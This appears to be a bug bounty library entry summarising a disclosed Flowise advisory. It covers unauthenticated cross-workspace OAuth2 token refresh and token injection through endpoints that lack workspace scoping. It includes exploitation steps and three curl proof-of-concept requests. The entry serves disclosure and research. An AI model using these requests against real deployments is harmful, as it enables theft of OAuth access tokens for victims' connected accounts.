# Flowise: Cross-Workspace OAuth2 Credential Metadata Leak

Flowise OAuth2 credential endpoints look up credentials by id without workspaceId, letting unauthenticated attackers refresh or inject tokens for any workspace's credentials.

- Payout: Research
- Severity: high
- Program: Flowise
- Found by: hett-patell
- Disclosed: 2026-08-04
- CVE: CVE-2026-70474
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-wch5-xp77-fxg4
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-wch5-xp77-fxg4
- Tags: area:web domain:api domain:web impact:ato impact:data-leak kind:research platform:ghsa sev:high tech:nodejs tech:oauth technique:source-review vuln:access-control vuln:auth-bypass vuln:idor vuln:info-disclosure

**Target:** OAuth2 credential REST endpoints (/authorize, /callback, /refresh)
**Root cause:** All three OAuth2 handlers query the Credential table by id alone without a workspaceId filter, and /callback and /refresh are prefix-whitelisted from all authentication.
**Steps:**
1. Confirm unauthenticated reach: `curl -X POST ${FLOWISE_URL}/api/v1/oauth2-credential/refresh/${VICTIM_CRED_ID}` with no cookies returns tokenInfo including a valid access_token.
2. With any session, `POST /api/v1/oauth2-credential/authorize/${VICTIM_CRED_ID}` returns the victim credential's authorizationUrl leaking client_id, scope, redirect_uri.
3. Forge callback: `GET /api/v1/oauth2-credential/callback?code=ATTACKER_CODE&state=${VICTIM_CRED_ID}` — server exchanges code at credential's accessTokenUrl and stores returned tokens into victim credential.
4. Refresh any credential unauthenticated via `POST /api/v1/oauth2-credential/refresh/${VICTIM_CRED_ID}` to obtain a fresh access_token in the response body.
**How found:** Code review comparing the OAuth2 route handlers against the standard credential service: noticed findOneBy({id}) in routes/oauth2/index.ts lacked the workspaceId filter present in services/credentials/index.ts, then checked WHITELIST_URLS and found /callback and /refresh prefix-matched to skip auth.
**Exploitation:** Attacker needs a victim credential UUID (via IDOR, log exposure, or brute-force). With no auth, POST to /refresh returns a fresh access_token for the victim's connected service (Microsoft Graph, Google Workspace, etc.). Alternatively, controlling the OAuth2 provider or intercepting a flow lets the attacker POST a forged callback with state=victim UUID, causing attacker tokens to be written into the victim credential record.
**Escalation:** Chained with an IDOR or log exposure to obtain credential UUIDs, then silently steal OAuth2 access tokens for external SaaS providers without any Flowise authentication.
**Insight:** When a codebase has a canonical scoped lookup (services/credentials with workspaceId), grep every other query on the same entity for the missing scope key — and cross-check the auth whitelist for any of those routes, since a scoping bug on a whitelisted route becomes unauthenticated.

## Proof of concept (copied exactly from the original report)

**Unauthenticated token refresh curl request**

```
curl -s -X POST "${FLOWISE_URL}/api/v1/oauth2-credential/refresh/${VICTIM_CRED_ID}" \
  -H "Content-Type: application/json"
```

**Forged callback with victim UUID as state**

```
curl -s "${FLOWISE_URL}/api/v1/oauth2-credential/callback?code=ATTACKER_CODE&state=${VICTIM_CRED_ID}"
```

**Cross-workspace authorize request with attacker cookie**

```
curl -s -X POST "${FLOWISE_URL}/api/v1/oauth2-credential/authorize/${VICTIM_CRED_ID}" \
  -H "Cookie: ${ATTACKER_COOKIE}" \
  -H "Content-Type: application/json"
```

